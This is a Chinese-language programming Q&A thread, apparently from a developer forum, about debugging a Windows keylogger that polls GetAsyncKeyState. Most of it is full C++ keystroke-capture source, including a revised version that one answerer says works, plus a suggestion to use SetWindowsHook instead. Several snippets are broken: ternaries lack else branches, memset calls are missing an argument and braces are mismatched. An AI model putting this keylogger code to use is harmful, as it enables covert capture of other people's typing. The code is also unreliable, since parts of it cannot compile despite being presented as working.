键盘记录器返回所有值

问题描述

我正在设置键盘记录器,但不是出于恶意目的。

每当我在应用 switch 语句捕获特定的虚拟键代码后按下一个键时,我的缓冲区就会被我过滤的每个数字、字母、符号等完全填满。似乎出于某种原因,每当我按下一个键时,所有 switch 语句的 case 都会被击中。我如何解决它?这是下面的屏幕截图,可以让您直观地看到问题:

image

文件:main.cpp

while(true)
{
    char key;
    for (key = 8; key <= 255; key++)
    {
        Api._Sleep(20);

        char _log[MAX_PATH];
            
        KL::Log(key,_log);
            
        Api._lstrcatA(_log,&key);
        int len = Api._lstrlenA(_log);
        if(len == MAX_PATH)
        {
            //dump routine
            memset(_log,sizeof(_log));
        }
    }  
}

文件:keylogger.cpp

void KL::Log(char key,char* logvar)
{
    if (GetAsyncKeyState(key) == -32767)
    {
        bool shift_down = GetAsyncKeyState(VK_SHIFT);
        switch (key)
        {
            case 0x08: logvar[lstrlenA(logvar) - 1] = '\0';
                break;
            case 0x09: lstrcatA(logvar,"[TAB]");
                break;
            case 0x0D: lstrcatA(logvar,"[NEWLINE]");
                break;
            case 0x13: lstrcatA(logvar,"[PAUSE]");
                break;
            case 0x14: lstrcatA(logvar,"[CAPS LOCK]");
                break;
            case 0x20: lstrcatA(logvar," ");
                break;
            case 0x25: lstrcatA(logvar,"[LARROW]");
                break;
            case 0x26: lstrcatA(logvar,"[UPARROW]");
                break;
            case 0x27: lstrcatA(logvar,"[RARROW]");
                break;
            case 0x28: lstrcatA(logvar,"[DARROW]");
                break;
            case 0x2E: lstrcatA(logvar,"[DELETE]");
                break;
            case 0x30: (!shift_down) ? lstrcatA(logvar,"0") : lstrcatA(logvar,")");
                break;
            case 0x31: (!shift_down) ? lstrcatA(logvar,"1") : lstrcatA(logvar,"!");
                break;
            case 0x32: (!shift_down) ? lstrcatA(logvar,"2") : lstrcatA(logvar,"@");
                break;
            case 0x33: (!shift_down) ? lstrcatA(logvar,"3") : lstrcatA(logvar,"#");
                break;
            case 0x34: (!shift_down) ? lstrcatA(logvar,"4") : lstrcatA(logvar,"$");
                break;
            case 0x35: (!shift_down) ? lstrcatA(logvar,"5") : lstrcatA(logvar,"%");
                break;
            case 0x36: (!shift_down) ? lstrcatA(logvar,"6") : lstrcatA(logvar,"^");
                break;
            case 0x37: (!shift_down) ? lstrcatA(logvar,"7") : lstrcatA(logvar,"&");
                break;
            case 0x38: (!shift_down) ? lstrcatA(logvar,"8") : lstrcatA(logvar,"*");
                break;
            case 0x39: (!shift_down) ? lstrcatA(logvar,"9") : lstrcatA(logvar,"(");
                break;
            case 0x41: (!shift_down) ? lstrcatA(logvar,"a") : lstrcatA(logvar,"A");
                break;
            case 0x42: (!shift_down) ? lstrcatA(logvar,"b") : lstrcatA(logvar,"B");
                break;
            case 0x43: (!shift_down) ? lstrcatA(logvar,"c") : lstrcatA(logvar,"C");
                break;
            case 0x44: (!shift_down) ? lstrcatA(logvar,"d") : lstrcatA(logvar,"D");
                break;
            case 0x45: (!shift_down) ? lstrcatA(logvar,"e") : lstrcatA(logvar,"E");
                break;
            case 0x46: (!shift_down) ? lstrcatA(logvar,"f") : lstrcatA(logvar,"F");
                break;
            case 0x47: (!shift_down) ? lstrcatA(logvar,"g") : lstrcatA(logvar,"G");
                break;
            case 0x48: (!shift_down) ? lstrcatA(logvar,"h") : lstrcatA(logvar,"H");
                break;
            case 0x49: (!shift_down) ? lstrcatA(logvar,"i") : lstrcatA(logvar,"I");
                break;
            case 0x4A: (!shift_down) ? lstrcatA(logvar,"j") : lstrcatA(logvar,"J");
                break;
            case 0x4B: (!shift_down) ? lstrcatA(logvar,"k") : lstrcatA(logvar,"K");
                break;
            case 0x4C: (!shift_down) ? lstrcatA(logvar,"l") : lstrcatA(logvar,"L");
                break;
            case 0x4D: (!shift_down) ? lstrcatA(logvar,"m") : lstrcatA(logvar,"M");
                break;
            case 0x4E: (!shift_down) ? lstrcatA(logvar,"n") : lstrcatA(logvar,"N");
                break;
            case 0x4F: (!shift_down) ? lstrcatA(logvar,"o") : lstrcatA(logvar,"O");
                break;
            case 0x50: (!shift_down) ? lstrcatA(logvar,"p") : lstrcatA(logvar,"P");
                break;
            case 0x51: (!shift_down) ? lstrcatA(logvar,"q") : lstrcatA(logvar,"Q");
                break;
            case 0x52: (!shift_down) ? lstrcatA(logvar,"r") : lstrcatA(logvar,"R");
                break;
            case 0x53: (!shift_down) ? lstrcatA(logvar,"s") : lstrcatA(logvar,"S");
                break;
            case 0x54: (!shift_down) ? lstrcatA(logvar,"t") : lstrcatA(logvar,"T");
                break;
            case 0x55: (!shift_down) ? lstrcatA(logvar,"u") : lstrcatA(logvar,"U");
                break;
            case 0x56: (!shift_down) ? lstrcatA(logvar,"v") : lstrcatA(logvar,"V");
                break;
            case 0x57: (!shift_down) ? lstrcatA(logvar,"w") : lstrcatA(logvar,"W");
                break;
            case 0x58: (!shift_down) ? lstrcatA(logvar,"x") : lstrcatA(logvar,"X");
                break;
            case 0x59: (!shift_down) ? lstrcatA(logvar,"y") : lstrcatA(logvar,"Y");
                break;
            case 0x5A: (!shift_down) ? lstrcatA(logvar,"z") : lstrcatA(logvar,"Z");
                break;
            case 0x60: (!shift_down) ? lstrcatA(logvar,"0");
                break;
            case 0x61: (!shift_down) ? lstrcatA(logvar,"1");
                break;
            case 0x62: (!shift_down) ? lstrcatA(logvar,"2");
                break;
            case 0x63: (!shift_down) ? lstrcatA(logvar,"3");
                break;
            case 0x64: (!shift_down) ? lstrcatA(logvar,"4");
                break;
            case 0x65: (!shift_down) ? lstrcatA(logvar,"5");
                break;
            case 0x66: (!shift_down) ? lstrcatA(logvar,"6");
                break;
            case 0x67: (!shift_down) ? lstrcatA(logvar,"7");
                break;
            case 0x68: (!shift_down) ? lstrcatA(logvar,"8");
                break;
            case 0x69: (!shift_down) ? lstrcatA(logvar,"9");
                break;
            case 0x6A: (!shift_down) ? lstrcatA(logvar,"*") : lstrcatA(logvar,"*");
                break;
            case 0x6B: (!shift_down) ? lstrcatA(logvar,"+") : lstrcatA(logvar,"+");
                break;
            case 0x6D: (!shift_down) ? lstrcatA(logvar,"-") : lstrcatA(logvar,"-");
                break;
            case 0x6E: (!shift_down) ? lstrcatA(logvar,".") : lstrcatA(logvar,".");
                break;
            case 0x6F: (!shift_down) ? lstrcatA(logvar,"/") : lstrcatA(logvar,"/");
                break;
            case 0xBA: (!shift_down) ? lstrcatA(logvar,";") : lstrcatA(logvar,":");
                break;
            case 0xBB: (!shift_down) ? lstrcatA(logvar,"=") : lstrcatA(logvar,"+");
                break;
            case 0xBC: (!shift_down) ? lstrcatA(logvar,",") : lstrcatA(logvar,"<");
                break;
            case 0xBD: (!shift_down) ? lstrcatA(logvar,"_");
                break;
            case 0xBE: (!shift_down) ? lstrcatA(logvar,">");
                break;
            case 0xBF: (!shift_down) ? lstrcatA(logvar,"?");
                break;
            case 0xC0: (!shift_down) ? lstrcatA(logvar,"`") : lstrcatA(logvar,"~");
                break;
            case 0xDB: (!shift_down) ? lstrcatA(logvar,"[") : lstrcatA(logvar,"{");
                break;
            case 0xDC: (!shift_down) ? lstrcatA(logvar,"\\") : lstrcatA(logvar,"|");
                break;
            case 0xDD: (!shift_down) ? lstrcatA(logvar,"]") : lstrcatA(logvar,"}");
                break;
            case 0xDE: (!shift_down) ? lstrcatA(logvar,"'") : lstrcatA(logvar,"\"");
                break;
        }
    }
}

解决方法

_log 在循环的每次迭代中都被重新声明。因此,每个 strcat 操作只会覆盖之前存在的任何内容。但这没有实际意义,因为 _log 也没有初始化为空字符串。我猜你打算将 _log 声明为类成员变量而不是局部变量。

改变这个:

while(true)
{
    char key;
    for (key = 8; key <= 255; key++)
    {
        Api._Sleep(20);

        char _log[MAX_PATH];
        
        KL::Log(key,_log);
        
        Api._lstrcatA(_log,&key);
        int len = Api._lstrlenA(_log);
        if(len == MAX_PATH)
        {
            //dump routine
            memset(_log,sizeof(_log));
        }
    }  
}

为此:

char _log[MAX_PATH] = {0}; // zero-init
// OR THIS if _log is a class variable: 
// memset(_log,'\0',sizeof(_log));

while(true)
{
    char key;
    for (key = 8; key <= 255; key++)
    {
        Api._Sleep(20);

       
        KL::Log(key,sizeof(_log));
        }
    }  
}

不知道为什么在每次循环迭代中间有一个 20 毫秒的 sleep 语句。

,

首先,您应该在 while 循环之外声明 _log(它可以是全局的或局部的,这取决于您的需要)。

那么你不应该每次都用Api._lstrlenA(_log);来写key的值,这会让你的_log记录所有的值。

你不应该使用Api._Sleep(20);,因为这会影响键盘按下的判断。当按键被按下时,很可能当前的key值与按下的键值不同,而 sleep 之后,程序错过了该键。

这是修改后的示例,它对我有用:

#include <iostream>
#include <windows.h>
using namespace std;
void Log(char key,char* logvar)
{
    if (GetAsyncKeyState(key) & 0x01)
    {
        bool shift_down = GetAsyncKeyState(VK_SHIFT);
        switch (key)
        {
        case 0x08: logvar[lstrlenA(logvar) - 1] = '\0';
            break;
        case 0x09: lstrcatA(logvar,"[TAB]");
            break;
        case 0x0D: lstrcatA(logvar,"[NEWLINE]");
            break;
        case 0x13: lstrcatA(logvar,"[PAUSE]");
            break;
        case 0x14: lstrcatA(logvar,"[CAPS LOCK]");
            break;
        case 0x20: lstrcatA(logvar," ");
            break;
        case 0x25: lstrcatA(logvar,"[LARROW]");
            break;
        case 0x26: lstrcatA(logvar,"[UPARROW]");
            break;
        case 0x27: lstrcatA(logvar,"[RARROW]");
            break;
        case 0x28: lstrcatA(logvar,"[DARROW]");
            break;
        case 0x2E: lstrcatA(logvar,"[DELETE]");
            break;
        case 0x30: (!shift_down) ? lstrcatA(logvar,"0") : lstrcatA(logvar,")");
            break;
        case 0x31: (!shift_down) ? lstrcatA(logvar,"1") : lstrcatA(logvar,"!");
            break;
        case 0x32: (!shift_down) ? lstrcatA(logvar,"2") : lstrcatA(logvar,"@");
            break;
        case 0x33: (!shift_down) ? lstrcatA(logvar,"3") : lstrcatA(logvar,"#");
            break;
        case 0x34: (!shift_down) ? lstrcatA(logvar,"4") : lstrcatA(logvar,"$");
            break;
        case 0x35: (!shift_down) ? lstrcatA(logvar,"5") : lstrcatA(logvar,"%");
            break;
        case 0x36: (!shift_down) ? lstrcatA(logvar,"6") : lstrcatA(logvar,"^");
            break;
        case 0x37: (!shift_down) ? lstrcatA(logvar,"7") : lstrcatA(logvar,"&");
            break;
        case 0x38: (!shift_down) ? lstrcatA(logvar,"8") : lstrcatA(logvar,"*");
            break;
        case 0x39: (!shift_down) ? lstrcatA(logvar,"9") : lstrcatA(logvar,"(");
            break;
        case 0x41: (!shift_down) ? lstrcatA(logvar,"a") : lstrcatA(logvar,"A");
            break;
        case 0x42: (!shift_down) ? lstrcatA(logvar,"b") : lstrcatA(logvar,"B");
            break;
        case 0x43: (!shift_down) ? lstrcatA(logvar,"c") : lstrcatA(logvar,"C");
            break;
        case 0x44: (!shift_down) ? lstrcatA(logvar,"d") : lstrcatA(logvar,"D");
            break;
        case 0x45: (!shift_down) ? lstrcatA(logvar,"e") : lstrcatA(logvar,"E");
            break;
        case 0x46: (!shift_down) ? lstrcatA(logvar,"f") : lstrcatA(logvar,"F");
            break;
        case 0x47: (!shift_down) ? lstrcatA(logvar,"g") : lstrcatA(logvar,"G");
            break;
        case 0x48: (!shift_down) ? lstrcatA(logvar,"h") : lstrcatA(logvar,"H");
            break;
        case 0x49: (!shift_down) ? lstrcatA(logvar,"i") : lstrcatA(logvar,"I");
            break;
        case 0x4A: (!shift_down) ? lstrcatA(logvar,"j") : lstrcatA(logvar,"J");
            break;
        case 0x4B: (!shift_down) ? lstrcatA(logvar,"k") : lstrcatA(logvar,"K");
            break;
        case 0x4C: (!shift_down) ? lstrcatA(logvar,"l") : lstrcatA(logvar,"L");
            break;
        case 0x4D: (!shift_down) ? lstrcatA(logvar,"m") : lstrcatA(logvar,"M");
            break;
        case 0x4E: (!shift_down) ? lstrcatA(logvar,"n") : lstrcatA(logvar,"N");
            break;
        case 0x4F: (!shift_down) ? lstrcatA(logvar,"o") : lstrcatA(logvar,"O");
            break;
        case 0x50: (!shift_down) ? lstrcatA(logvar,"p") : lstrcatA(logvar,"P");
            break;
        case 0x51: (!shift_down) ? lstrcatA(logvar,"q") : lstrcatA(logvar,"Q");
            break;
        case 0x52: (!shift_down) ? lstrcatA(logvar,"r") : lstrcatA(logvar,"R");
            break;
        case 0x53: (!shift_down) ? lstrcatA(logvar,"s") : lstrcatA(logvar,"S");
            break;
        case 0x54: (!shift_down) ? lstrcatA(logvar,"t") : lstrcatA(logvar,"T");
            break;
        case 0x55: (!shift_down) ? lstrcatA(logvar,"u") : lstrcatA(logvar,"U");
            break;
        case 0x56: (!shift_down) ? lstrcatA(logvar,"v") : lstrcatA(logvar,"V");
            break;
        case 0x57: (!shift_down) ? lstrcatA(logvar,"w") : lstrcatA(logvar,"W");
            break;
        case 0x58: (!shift_down) ? lstrcatA(logvar,"x") : lstrcatA(logvar,"X");
            break;
        case 0x59: (!shift_down) ? lstrcatA(logvar,"y") : lstrcatA(logvar,"Y");
            break;
        case 0x5A: (!shift_down) ? lstrcatA(logvar,"z") : lstrcatA(logvar,"Z");
            break;
        case 0x60: (!shift_down) ? lstrcatA(logvar,"0");
            break;
        case 0x61: (!shift_down) ? lstrcatA(logvar,"1");
            break;
        case 0x62: (!shift_down) ? lstrcatA(logvar,"2");
            break;
        case 0x63: (!shift_down) ? lstrcatA(logvar,"3");
            break;
        case 0x64: (!shift_down) ? lstrcatA(logvar,"4");
            break;
        case 0x65: (!shift_down) ? lstrcatA(logvar,"5");
            break;
        case 0x66: (!shift_down) ? lstrcatA(logvar,"6");
            break;
        case 0x67: (!shift_down) ? lstrcatA(logvar,"7");
            break;
        case 0x68: (!shift_down) ? lstrcatA(logvar,"8");
            break;
        case 0x69: (!shift_down) ? lstrcatA(logvar,"9");
            break;
        case 0x6A: (!shift_down) ? lstrcatA(logvar,"*") : lstrcatA(logvar,"*");
            break;
        case 0x6B: (!shift_down) ? lstrcatA(logvar,"+") : lstrcatA(logvar,"+");
            break;
        case 0x6D: (!shift_down) ? lstrcatA(logvar,"-") : lstrcatA(logvar,"-");
            break;
        case 0x6E: (!shift_down) ? lstrcatA(logvar,".") : lstrcatA(logvar,".");
            break;
        case 0x6F: (!shift_down) ? lstrcatA(logvar,"/") : lstrcatA(logvar,"/");
            break;
        case 0xBA: (!shift_down) ? lstrcatA(logvar,";") : lstrcatA(logvar,":");
            break;
        case 0xBB: (!shift_down) ? lstrcatA(logvar,"=") : lstrcatA(logvar,"+");
            break;
        case 0xBC: (!shift_down) ? lstrcatA(logvar,",") : lstrcatA(logvar,"<");
            break;
        case 0xBD: (!shift_down) ? lstrcatA(logvar,"_");
            break;
        case 0xBE: (!shift_down) ? lstrcatA(logvar,">");
            break;
        case 0xBF: (!shift_down) ? lstrcatA(logvar,"?");
            break;
        case 0xC0: (!shift_down) ? lstrcatA(logvar,"`") : lstrcatA(logvar,"~");
            break;
        case 0xDB: (!shift_down) ? lstrcatA(logvar,"[") : lstrcatA(logvar,"{");
            break;
        case 0xDC: (!shift_down) ? lstrcatA(logvar,"\\") : lstrcatA(logvar,"|");
            break;
        case 0xDD: (!shift_down) ? lstrcatA(logvar,"]") : lstrcatA(logvar,"}");
            break;
        case 0xDE: (!shift_down) ? lstrcatA(logvar,"'") : lstrcatA(logvar,"\"");
            break;
        }
    }
}
int main(int argc,const char* argv[])
{
    char _log[MAX_PATH]{};
    while (true)
    {
        char key;
        for (key = 8; key <= 255; key++)
        {
            //Sleep(20);
            Log(key,_log);
            //char buf[2] = { key,'\0' };
            //lstrcatA(_log,buf);
            int len = lstrlenA(_log);
            if (len == MAX_PATH)
            {
                //dump routine
                memset(_log,sizeof(_log));
            }
        }
    }
    return 0;
}

当然这会造成你说的CPU占用问题,所以建议你使用SetWindowsHook来实现key logging。

您可以参考此线程:C++/Win32: Keyboard input to a non-foreground window